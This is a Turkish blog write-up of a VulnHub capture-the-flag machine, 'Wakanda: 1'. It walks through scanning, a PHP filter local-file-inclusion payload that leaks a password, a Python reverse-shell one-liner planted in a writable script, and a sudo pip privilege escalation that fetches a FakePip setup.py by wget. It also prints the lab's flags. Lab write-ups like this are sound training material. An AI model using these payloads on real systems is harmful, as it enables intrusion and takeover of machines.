Wakanda: 1 Writeup

Selam Arkadaşlar, bugün vulnhub’tan indirdiğim wakanda: 1 zafiyetli sanal makinasının çözümünü paylaşacağım.

Zafiyetli sanal makinayı indirmek için:
https://www.vulnhub.com/entry/wakanda-1,251/

Açıklamada 3 adet flag olduğu belirtilmiş. flag1.txt, flag2txt ve root.txt.

Hadi işe koyulalım. Her zaman yaptığımız gibi önce hedef makinanın IP adresini bulacağız.
Netdiscover ile IP adresini tespit edelim.

netdicover

ip discover

Zafiyetli sanal makinamızın IP adresi: 10.0.2.6
Makina üzerinde çalışan servislerin durumunu öğrenmek için nmap taraması yapalım.
“nmap -A -O -Pn -n -v 10.0.2.6” komutu ile tarama başlatalım.

Nmap scan report for 10.0.2.6
Host is up (0.00045s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33175/tcp status
|_ 100024 1 46635/udp status
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
| 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.9
Uptime guess: 0.004 days (since Mon Aug 20 16:05:56 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonucunda 80. portta Apache, 3333 SSH çalıştığının bilgisi öğrendik.

Nikto ve dirb araclarıyla neler bulabiliyoruz bir bakalım.
Nikto aracı ile yapılan taramada bir sonuç çıkmadı. Dirb aracı ile dizin taramasında ise resimdeki sonuçlar çıktı.

dirb

Listenen dizinlere bir göz attığımda ise onlardan da elde var sıfır 🙂
Sayfayı görüntülediğimiz de resimdeki ekran ile karşılanıyordu.

mainpage

Kaynak kodu incelediğimde ise, lang parametresi dikkat çekiyordu.

source-code

http://10.0.2.6/?lang=fr parametresi verildiğinde sayfanın dili değişiyor.

lang

Burada lang parametresine fr değerini verdiğimizde, sonunda .php eklenip fr.php dosyası çağrılıyor. LFI deneyelim. PHP wrapperi kullanarak index.php dosyasını çekmeye çalışalım. php://filter/convert.base64-encode/resource=index.php

php wrapper

“curl http://10.0.2.6/?lang=php://filter/convert.base64-encode/resource=index.php | base64 -d” komutu ile index.php dosyasını çekelim.

curl

index.php dosyasında:
password =”Niamey4Ever227!!!” bilgisine eriştik.

Bu parolayı not edip, nmap taraması sonucunda SSH servisinin açık olduğunu da biliyoruz bu nedenle username değeri için tekrar bir göz atalım.

username

username olarak mamadou ile giriş yapmayı deneyelim. SSH servisi 3333. nolu portta çalışıyordu.

ssh login

SSH ile giriş yaptığımızda python shell’e düştük.
“import pty; pty.spawn(“/bin/bash”)” ile bash’e düşelim.

flag1

flag1.txt’i okuyalım.
1. flag’ımıza eriştik.
Flag 1 : d86b9ad71ca887f4dd1dac86ba1c4dfc

etc passwd

Sistem içinde biraz dolandıktan sonra, /etc/passwd dosyasını okuyalım.
devops adında bir kullanıcı daha olduğunu öğrendik. Home dizinine bakalım.

devops home

flag2.txt dosyası devops kullanıcısının home dizini altında fakat yetkimiz olmadığından okuyamıyoruz.
“find / -user devops 2>/dev/null” ile devops kullanıcısının dosyalarına bir göz atalım

devops home

/srv/.antivirus.py dosyasına bir göz atalım. dosyaya okuma ve yazma yetkimiz var.

“import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);”

python kodu ile reverse shell alalım.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

reverse shell

“nc -lvp ile 4444” komutu ile 4444 portumuzu dinlemeye alalım.

nc reverse shell

Belli bir süre bekledikten sonra shell düşüyor.

“python -c ‘import pty; pty.spawn(“/bin/bash”)'” komutu ile interaktif shell alalım.
2. flag’ımız home dizini altındaydı, okuyalım.
2. flag’ımız karşımızda:
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

sudo

Sıra geldi root erişimine sahip olmaya, “sudo -l” ile pip servisinin root haklarında çalıştığını görüyoruz.

Fakepip ile root erişimine sahip olabiliriz.
https://github.com/0x00-0x00/FakePip

“git clone https://github.com/0x00-0x00/FakePip.git” localimize alalım.

Ardından setup.py dosyasında rhost’u reverse shell alacağımız IP adresini tanımlayıp, nc ile dinleme moduna geçelim.
hedef sistemde wget ile setup.py dosyasını sisteme indirelim.

“wget http://10.0.2.4:8000/setup.py”

ardından:

“sudo /usr/bin/pip install . –upgrade –force-reinstall” komutunu çalıştırdığımızda dinlediğimiz porta, root erişiminde oturum elde ediyoruz.

root

root kullanıcısının home dizini altında root.txt dosyasını okuyalım.

root flag

3. ve son root flag’ımız:
Root Flag: 821ae63dbe0c573eff8b69d451fb21bc

Başka bir yazıda görüşmek üzere…

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir